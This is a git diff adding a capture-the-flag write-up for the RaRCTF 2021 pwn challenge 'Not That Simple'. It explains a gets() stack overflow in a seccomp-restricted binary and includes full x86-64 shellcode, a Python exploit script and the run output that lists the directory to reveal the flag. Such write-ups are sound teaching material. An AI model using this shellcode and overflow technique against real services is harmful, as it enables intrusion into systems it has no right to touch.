summaryrefslogtreecommitdiffstats
path: root/docs
diff options
context:
space:
mode:
Diffstat (limited to 'docs')
-rw-r--r--docs/writeups/RaRCTF_2021/Not_That_Simple.txt214
1 files changed, 214 insertions, 0 deletions
diff --git a/docs/writeups/RaRCTF_2021/Not_That_Simple.txt b/docs/writeups/RaRCTF_2021/Not_That_Simple.txt
new file mode 100644
index 0000000..126e148
--- /dev/null
+++ b/docs/writeups/RaRCTF_2021/Not_That_Simple.txt
@@ -0,0 +1,214 @@
+"You didn't think it would be that easy... right?
+NOTE: The flag is a filename in the current working directory of the server.
+See the docker for reference."
+
+Category: pwn (250 points)
+Chall author: Day?
+Writeup author: malfurious
+
+
+
+Setup
+-----
+We are given a binary and a TCP endpoint to connect to, as well as some of the
+Docker config files as mentioned in the description. A quick check on those
+confirms the location of the flag as it was described:
+
+ #!/bin/sh
+ service xinetd start
+ cd /pwn
+ touch FILE_6768585 FILE_5786754 FILE_76498904 FILE_6784577 FILE_eb94e79028 \
+ FILE_6758838 redpwn_absorption_plan.txt \
+ FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b26130... \
+ rarctf{f4k3_l0c4l_fl4g}
+ sleep infinity
+
+The above is from docker/setup.sh (and is reformatted for the purposes of this
+doc) showing that a file named 'rarctf{something}' is created in the process's
+directory, so we know where to look for it. We won't be returning to any of the
+Docker files.
+
+
+
+RE
+--
+The notsimple binary has two functions of interest: main() and install_seccomp().
+
+main() starts by calling install_seccomp() and printing a few strings. One of
+the things printed is the address of a local stack buffer we get to populate.
+Finally, gets() is called on that buffer and the program ends.
+
+It looks as if we have a stack-smash on our hands. checksec confirms a stack
+canary is not used, and that stack execution is allowed as well.
+
+install_seccomp() enables some kernel system call protections using the Linux
+seccomp feature via the prctl() interface. Seccomp is typically used to
+explicitly allow or disallow system calls for a process in Linux (and, if a
+process is allow to do so, these restrictions are inherited by fork() and
+preserved by execve() and similar). Seccomp uses the Berkeley packet filter
+format for syscall filters, so the library function takes this data via a buffer.
+See below for a outline of the calls made by install_seccomp():
+
+ prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+ prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, buff, 0, 0);
+
+ PR_SET_NO_NEW_PRIVS = 1 is a necessary step to enable seccomp, and
+ cannot be undone by the calling process
+
+ PR_SET_SECCOMP/MODE_FILTER takes a buffer containing the following
+ structs. In our case, len = 14. A dump of the data pointed to by
+ *filter is also given below.
+
+ struct sock_fprog {
+ unsigned short len; /* Number of BPF instructions */
+ struct sock_filter *filter; /* Pointer to array of BPF instructions */
+ };
+
+ struct sock_filter { /* Filter block */
+ __u16 code; /* Actual filter code */
+ __u8 jt; /* Jump true */
+ __u8 jf; /* Jump false */
+ __u32 k; /* Generic multiuse field */
+ };
+ k jfjtcode k jfjtcode
+ (gdb) x/14xg 0x404080 ____---- ____----
+ 0x404080 <filter.2921>: 0x0000000400000020 0xc000003e0b000015
+ 0x404090 <filter.2921+16>: 0x0000000000000020 0x4000000000090035
+ 0x4040a0 <filter.2921+32>: 0x0000003b00080015 0x0000014200070015
+ 0x4040b0 <filter.2921+48>: 0x0000010100060015 0x0000000300050015
+ 0x4040c0 <filter.2921+64>: 0x0000005500040015 0x0000008600030015
+ 0x4040d0 <filter.2921+80>: 0x0000003900020015 0x0000003a00010015
+ 0x4040e0 <filter.2921+96>: 0x7fff000000000006 0x0000000000000006
+
+This was my first real exposure to this feature of Linux, so I was not very
+knowledgeable on it. Despite effort, I couldn't find anything useful online to
+explain how to decode the fields of struct sock_filter, other than the fact that
+several macros exist to aid with crafting these structs in the first place (1).
+
+Needless to say, tracing these macros out is difficult. It seems like some of
+the common 'instructions' for the filter are to: validate host architecture,
+catch syscalls in a switch-statement-like structure, and either die or continue,
+based on the instruction of the syscall.
+
+I never fully decoded what syscalls are tagged in this binary. My initial
+approach to the pwn (which succeeded) was to avoid the typical execve() call to
+get a shell, and use getdents() (get directory entries) to 'properly' list the
+directory contents.
+
+[and yes, experimentation confirmed execve() is disallowed by the filter.]
+
+
+
+Custom shellcode - getdents
+---------------------------
+SYS_getdents() takes an open file descriptor for a directory and populates a
+buffer with an array of 'struct linux_dirent's.
+
+ long getdents(unsigned int fd, struct linux_dirent *dirp,
+ unsigned int count);
+
+ struct linux_dirent {
+ unsigned long d_ino; /* Inode number */
+ unsigned long d_off; /* Offset to next linux_dirent */
+ unsigned short d_reclen; /* Length of this linux_dirent */
+ char d_name[]; /* Filename (null-terminated) */
+ /* length is actually (d_reclen - 2 -
+ offsetof(struct linux_dirent, d_name)) */
+ /*
+ char pad; // Zero padding byte
+ char d_type; // File type (only since Linux
+ // 2.6.4); offset is (d_reclen - 1)
+ */
+ }
+
+For our purposes, we don't need to loop and walk the directory properly. We can
+just dump the output dirent buffer to stdout and inspect the results for ASCII
+file names. This will keep the shellcode shorter. So, the plan for the
+shellcode is going to be this:
+
+ open(".", O_RDONLY | O_DIRECTORY, 0);
+ getdents(fd, buffer, size);
+ write(stdout, buffer, size);
+
+
+
+Solution
+--------
+Appendix A contains my full solution. It is a script utilizing the sploit
+framework found at 'tools/sploit/'. Appendix B contains the output from the
+run. Nevermind the segfault... We can see among the output:
+
+ rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}
+
+
+
+(1) https://github.com/ahupowerdns/secfilter/blob/master/seccomp-bpf.h
+
+
+
+================================================================================
+= Appendix A: sploit.py =
+================================================================================
+#!/usr/bin/env python3
+
+import sploitutil as util
+import sploitrunner
+
+frame_len = 0x50
+
+shellcode = (
+ b"\x5F\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05"
+ b"\x48\x89\xC7\x5E\x48\xC7\xC2\x00\x04\x00\x00\xB0\x4E\x0F\x05\x48"
+ b"\xC7\xC7\x01\x00\x00\x00\x66\xB8\x01\x00\x0F\x05"
+ #
+ # 0: 5f pop rdi
+ # 1: 48 31 f6 xor rsi,rsi
+ # 4: 48 31 d2 xor rdx,rdx
+ # 7: 48 c7 c0 02 00 00 00 mov rax,0x2
+ # e: 0f 05 syscall # fd = open(".", 0, 0)
+ # 10: 48 89 c7 mov rdi,rax
+ # 13: 5e pop rsi
+ # 14: 48 c7 c2 00 04 00 00 mov rdx,0x400
+ # 1b: b0 4e mov al,0x4e
+ # 1d: 0f 05 syscall # getdents(fd, buff, 1024)
+ # 1f: 48 c7 c7 01 00 00 00 mov rdi,0x1
+ # 26: 66 b8 01 00 mov ax,0x1
+ # 2a: 0f 05 syscall # write(stdout, buff, 1024)
+ )
+
+payloads = {
+ 'shellcode' : shellcode+b'\x90'*(frame_len-len(shellcode)-8),
+ 'canary' : util.itob(0xdeadbeef),
+}
+
+def sploit(stdin, stdout):
+ c = util.Communication(stdin, stdout)
+
+ leak_buff = c.recv().split()[3] # "Oops, I'm leaking! **0x7ffd02167bb0**"
+ buff_addr = int(leak_buff, 16)
+ dents_addr = buff_addr - 1024 # Claim stack space for buffer to getdents
+ c.send(
+ b".\x00\x00\x00\x00\x00\x00\x00" # "." directory to open
+ +payloads['shellcode']
+ +payloads['canary']
+ +util.itob(buff_addr+8) # ret to shellcode
+ +util.itob(buff_addr) # pop addr of "."
+ +util.itob(dents_addr) # pop addr of getdents data buff
+ +b"\n" # terminate gets input
+ )
+
+# run sploit
+sploitrunner.runsploit(sploit)
+
+
+
+================================================================================
+= Appendix B: run =
+================================================================================
+> ./sploit nc 193.57.159.27 46343
+['nc', '193.57.159.27', '46343']
+b"Oops, I'm leaking! 0x7ffd02167bb0\n"
+b'Pwn me \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf\n'
+b'> \x1b\x13\t\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\xc8\t\n'
+b'\x04\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04\xb6r\x0e\x08\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6768585\x00\x08\xb8r\x0e\x08\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00 \x00FILE_5786754\x00\x08\xb9r\x0e\x08\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00(\x00FILE_76498904\x00\x00\x00\x00\x00\x00\x00\x00\x08\xbar\x0e\x08\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6784577\x00\x08\xbbr\x0e\x08\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00(\x00FILE_eb94e79028\x00\x00\x00\x00\x00\x00\x08\xbcr\x0e\x08\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6758838\x00\x08\xbdr\x0e\x08\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x000\x00redpwn_absorption_plan.txt\x00\x00\x00\x08\xber\x0e\x08\x00\x00\x00\x00\n'
+b'\x00\x00\x00\x00\x00\x00\x00\xe8\x00FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093\x00\x08\x00\x00\x00\x00\x00\x00\x08\xbfr\x0e\x08\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00X\x00rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}\x00\x00\x08\x1c\x13\t\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00 \x00notsimple\x00\x00\x00\x00\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x8a\xa2QYq\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00+\xcdB\x02\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LR\x1b\xe1Nu\xbd\x00z\x88Yq\x7f\x00\x00\xa0B\x88Yq\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00I\xa4RYq\x7f\x00\x00\x00z\x88Yq\x7f\x00\x00dzRYq\x7f\x00\x00h\r\x00\x00\x00\x00\x00\x00\xb2\xbfQYq\x7f\x00\x00\xe1\xa2m\x01\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00`\x87\x88Yq\x7f\x00\x00h @\x00\x00\x00\x00\x00\xa0B\x88Yq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00o\xcbQYq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x16\x02\xfd\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00\xe0|\x16\x02\xfd\x7f\x00\x00\x84\x12@\x00\x00\x00\x00\x00Segmentation fault\n'